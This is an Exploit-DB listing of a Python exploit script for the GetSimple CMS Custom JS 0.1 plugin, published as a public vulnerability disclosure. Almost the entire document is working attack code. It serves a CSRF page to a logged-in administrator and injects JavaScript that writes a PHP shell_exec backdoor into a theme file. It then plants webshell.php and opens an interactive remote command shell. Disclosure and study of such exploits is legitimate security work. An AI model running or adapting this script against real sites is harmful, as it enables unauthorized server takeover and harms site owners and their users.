GetSimple CMS Custom JS 0.1 – Cross-Site Request Forgery

  • 作者: boku
    日期: 2021-05-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49816/
  • # Exploit Title: GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE
    # Exploit Author: Bobby Cooke (boku) & Abhishek Joshi
    # Date: 30/04/201
    # Vendor Homepage: http://get-simple.info 
    # Software Link: http://get-simple.info/download/ & http://get-simple.info/extend/plugin/custom-js/1267/
    # Vendor: 4Enzo
    # Version: v0.1
    # Tested against Server Host: Windows 10 Pro + XAMPP
    # Tested against Client Browsers: Firefox (Linux & Windows) & Internet Explorer
    # Vulnerability Description:
    #The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.
    # Full Disclosure & MITRE CVE Tracking: github.com/boku7/gsCMS-CustomJS-Csrf2Xss2Rce
    # CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    # CVSS Base Score: 9.6
    
    import argparse,requests
    from http.server import BaseHTTPRequestHandler, HTTPServer
    from colorama import (Fore as F, Back as B, Style as S)
    from threading import Thread
    from time import sleep
    
    FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT
    def bullet(char,color):
    C=FB if color == 'B' else FR if color == 'R' else FG
    return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '
    info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G')
    
    class theTHREADER(object):
    def __init__(self, interval=1):
    self.interval = interval
    thread = Thread(target=self.run, args=())
    thread.daemon = True
    thread.start()
    def run(self):
    run()
    
    def webshell(target):
    try:
    websh = "{}/webshell.php".format(target,page)
    term = "{}{}PWNSHELL{} > {}".format(SB,FR,FB,ST)
    welcome = '{}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST)
    print(welcome)
    while True:
    specialmove = input(term)
    command = {'FierceGodKick': specialmove}
    r = requests.post(websh, data=command, verify=False)
    status = r.status_code
    if status != 200:
    r.raise_for_status()
    response = r.text
    print(response)
    except:
    pass
    
    
    def xhrRcePayload():
    payload= 'var e=function(i){return encodeURIComponent(i);};'
    payload += 'var gt = decodeURIComponent("%3c");'
    payload += 'var lt = decodeURIComponent("%3e");'
    payload += 'var h="application/x-www-form-urlencoded";'
    payload += 'var u="/admin/theme-edit.php";'
    payload += 'var xhr1=new XMLHttpRequest();'
    payload += 'var xhr2=new XMLHttpRequest();'
    payload += 'xhr1.onreadystatechange=function(){'
    payload += 'if(xhr1.readyState==4 && xhr1.status==200){'
    payload += 'r=this.responseXML;'
    payload += 'nVal=r.querySelector("#nonce").value;'
    payload += 'eVal=r.forms[1][2].defaultValue;'
    payload += 'xhr2.open("POST",u,true);'
    payload += 'xhr2.setRequestHeader("Content-Type",h);'
    payload += 'payload=e(gt+"?php echo shell_exec($_REQUEST[solarflare]) ?"+lt);'
    payload += 'params="nonce="+nVal+"&content="+payload+"&edited_file="+eVal+"&submitsave=Save+Changes";'
    payload += 'xhr2.send(params);'
    payload += '}};'
    payload += 'xhr1.open("GET",u,true);'
    payload += 'xhr1.responseType="document";'
    payload += 'xhr1.send();'
    return payload
    
    def csrfPayload():
    payload= '<html><body>'
    payload += '<form action="'+target+'/admin/load.php?id=CustomJSPlugin" method="POST">'
    payload += '<input type="hidden" name="customjs_url_content" value="">'
    payload += '<input type="hidden" name="customjs_js_content" value="'+xhrRcePayload()+'">'
    payload += '<input type="hidden" name="submit" value="Save Settings">'
    payload += '<input type="submit" value="Submit request">'
    payload += '</form></body></html>'
    return payload
    
    class S(BaseHTTPRequestHandler):
    def do_GET(self):
    victim = self.client_address
    victim = "{}:{}".format(victim[0],victim[1])
    print("{}{} connected to Malicious CSRF Site!".format(ok,victim))
    print('{}Waiting for admin to view a CMS webpage & trigger the XSS XHR -> RCE payload..'.format(info))
    self.wfile.write("{}".format(csrfPayload()).encode('utf-8'))
    
    def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print('{}Hosting CSRF attack & listening for admin to connect..'.format(info))
    try:
    httpd.serve_forever()
    except KeyboardInterrupt:
    pass
    httpd.server_close()
    print('Stopping httpd...')
    
    def tryUploadWebshell(target,page):
    try:
    blind = target+page
    # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt)
    webshUpload= {'solarflare': "echo ^<?php echo shell_exec($_REQUEST['FierceGodKick']) ?^>>webshell.php"}
    requests.post(url=blind, data=webshUpload, verify=False)
    except:
    pass
    
    def checkWebshell(target):
    try:
    websh = "{}/webshell.php".format(target)
    capsule = {'FierceGodKick':'pwnt?'}
    resp = requests.post(url=websh, data=capsule, verify=False)
    return resp.status_code
    except:
    pass
    
    def sig():
    SIG= SB+FY+".-----.._ ,--."+FB+"___"+FY+" ___ _____ _____ _ _ _____ \n"
    SIG += FY+"|..>___ || .--."+FB+"/ \\"+FY+" |_|_/___| | | |_ _| \n"
    SIG += FY+"||.','-'"+FR+"* *"+FY+"'-. |//__ __ "+FB+" \\ O / "+FY+"| | | | \\ `--.| |_| | | |\n"
    SIG += FY+"|</ "+FR+"***"+FY+" \ / \\/ \\ "+FB+"/ _ \\/\\ "+FY+"| | | | |`--. \\_| | |\n"
    SIG += FY+"||> )"+FR+" * *"+FY+" /\\\\"+FB+" ( (_>< "+FY+"/\\__/ | \\_/ /\\__/ / | | |_| |_ \n"
    SIG += FY+"|____..- '-.._..-'_|\\___|._..\\___\\ "+FB+"\\___/\\/"+FY+" \\____/ \\___/\\____/\\_| |_/\\___/\n"
    SIG += FY+"__"+FR+"linkedin.com/in/bobby-cooke/"+FY+"_____ "+" __"+FR+"linkedin.com/in/reverse-shell/"+FY+"\n"+ST
    return SIG
    
    def argsetup():
    about= SB+FB+'The Custom JS v0.1 plugin for GetSimple CMS suffers from a Cross-Site Request Forgery (CSRF) attack that allows remote unauthenticated attackers to inject arbitrary client-side code into authenticated administrators browsers, which results in Remote Code Execution (RCE) on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST
    about += SB+FC+'CVSS Base Score'+FT+':'+FR+' 9.6'+FT+'|'+FC+'CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC
    parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter)
    desc1= ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB
    parser.add_argument('Target',type=str,help=desc1)
    desc2= ST+FC+'Path to the public page which implements the CMS theme'+ST
    parser.add_argument('PublicPage',type=str,help=desc2)
    args = parser.parse_args()
    return args
    
    if __name__ == '__main__':
    header= SB+FR+' GetSimple CMS - Custom JS Plugin Exploit\n'
    header += SB+FB+'CSRF '+FT+'->'+FB+' Stored XSS '+FT+'->'+FB+' XHR PHP Code Injection '+FT+'->'+FB+' RCE\n'+ST
    header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke & Abhishek Joshi\n'+ST
    print(header)
    args= argsetup()
    target= args.Target
    page= args.PublicPage
    print(sig())
    theTHREADER()
    pwnt = checkWebshell(target)
    if pwnt != 200:
    while pwnt != 200:
    sleep(3)
    tryUploadWebshell(target,page)
    sleep(2)
    pwnt = checkWebshell(target)
    print("{} A wild webshell appears!".format(ok))
    webshell(target)